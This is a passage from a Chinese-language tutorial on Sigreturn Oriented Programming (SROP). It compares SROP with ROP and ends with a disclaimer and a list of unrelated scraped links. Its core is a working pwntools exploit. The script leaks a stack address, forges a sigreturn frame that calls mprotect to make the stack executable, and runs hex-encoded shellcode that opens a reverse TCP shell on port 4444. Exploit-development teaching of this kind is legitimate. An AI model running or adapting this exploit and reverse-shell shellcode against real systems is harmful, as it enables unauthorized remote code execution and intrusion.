- 拓展利用-连续攻击生成backdoor 。(return shell with reverse tcp 0.0.0.0 4444)
- 这里用到mprotect(start, len, prot)修改栈为RWX属性 。
- 直接设置fake frame的rsp为shellcode的地址 。
main = 0x4004F1syscall = 0x400517 #syscall; ret rt_sigreturn = 0x4004DA #mov eax, 0xf; ret payload = '\x00' * 0x10payload += p64(main) p.send(payload) #write(1, stack_addr, 0x30) #will leak an address on stack p.recv(32) stack_addr = u64(p.recv(8)) - 0x118 #rsi print "stack_addr ==> " + hex(stack_addr) p.recv(8) frame1 = SigreturnFrame()frame1.rax = constants.SYS_mprotect frame1.rdi = stack_addr & 0xFFFFFFFFFFFFF000frame1.rsi = 0x1000 frame1.rdx = 7 frame1.rsp = stack_addr + 0x120 #frame2_sigreturnframe1.rip = syscall shellcode = "\x6a\x29\x58\x6a\x02\x5f\x6a\x01" "\x5e\x48\x31\xd2\x0f\x05\x48\x97""\x6a\x02\x66\xc7\x44\x24\x02\x11" "\x5c\x54\x6a\x2a\x58\x5e\x6a\x10""\x5a\x0f\x05\x6a\x03\x5e\x6a\x21" "\x58\x48\xff\xce\x0f\x05\xe0\xf6""\x48\x31\xf6\x56\x48\xbf\x2f\x62" "\x69\x6e\x2f\x2f\x73\x68\x57\x54""\x5f\xb0\x3b\x99\x0f\x05" payload = '\x00'*0x10 #rop_chain stack_addr+8 payload += p64(rt_sigreturn) payload += p64(syscall) #sigreturn payload += str(frame1) payload += p64(stack_addr + 0x128)payload += shellcode在4444监听之后,运行exp就可以看到得到了返回的shell 。

文章插图
?
- 几个注意点1、一个frame框架是0xf8大小(0x64) 。2、泄露的栈地址,返回再次利用时,偏移可能有些变动,建议调试确定 。3、对于连续利用的所有指针参数,利用pop_ret的方式将参数保存在栈上,从而可以确参数定地址 。
SROP与ROP的比较
- 利用难度 。众所周知,ROP的攻击方式比较普遍,安全防护相应的也比较多 。在真实的系统中,相应的gadgets比较难以获取 。反观SROP,需要的gadgets少,主要在于伪造一个Frame 。
- 代码复用性 。由于ROP极大的依赖于栈结构,gadgets片段都是保存在stack上,所以在一次利用结束后,在stack发生改变的时候,很难再次利用(有时候即使返回init状态,也难以再次恢复stack状态) 。而SROP则不然,每次只需要伪造对应的Frame,rt_sigreturn的调用都能够强制切换到我们需要的状态 。有着极高的代码复用性 。
- paper
- slides
- Sigreturn Oriented Programming (SROP) Attack攻击原理
推荐实验:ARM漏洞利用技术四--内存布局及栈溢出
http://www.hetianlab.com/expc.do?ec=ECIDecfd-a36f-45cf-8115-ed6a233eed75
声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!
推荐阅读
- 女人梦见马桶堵了粪便溢出 梦见马桶堵了粪便溢出溢的到处都是
- 每次熬中药开的时候溢出来 熬中药沸了溢出来还能喝吗
- 什么样的人能够被称之为全栈工程师?
- 算法一看就懂之「 堆栈 」
- 天津民宿客栈推荐 天津周边精品民宿
- 白虎山玻璃栈道 白石岭玻璃栈道
- MySQL 数值类型溢出处理
- 栈的简介及C++模板实现
- 梦见厕所的大便溢出来 梦见马桶堵了大便溢出来
- 小程序页面栈详解
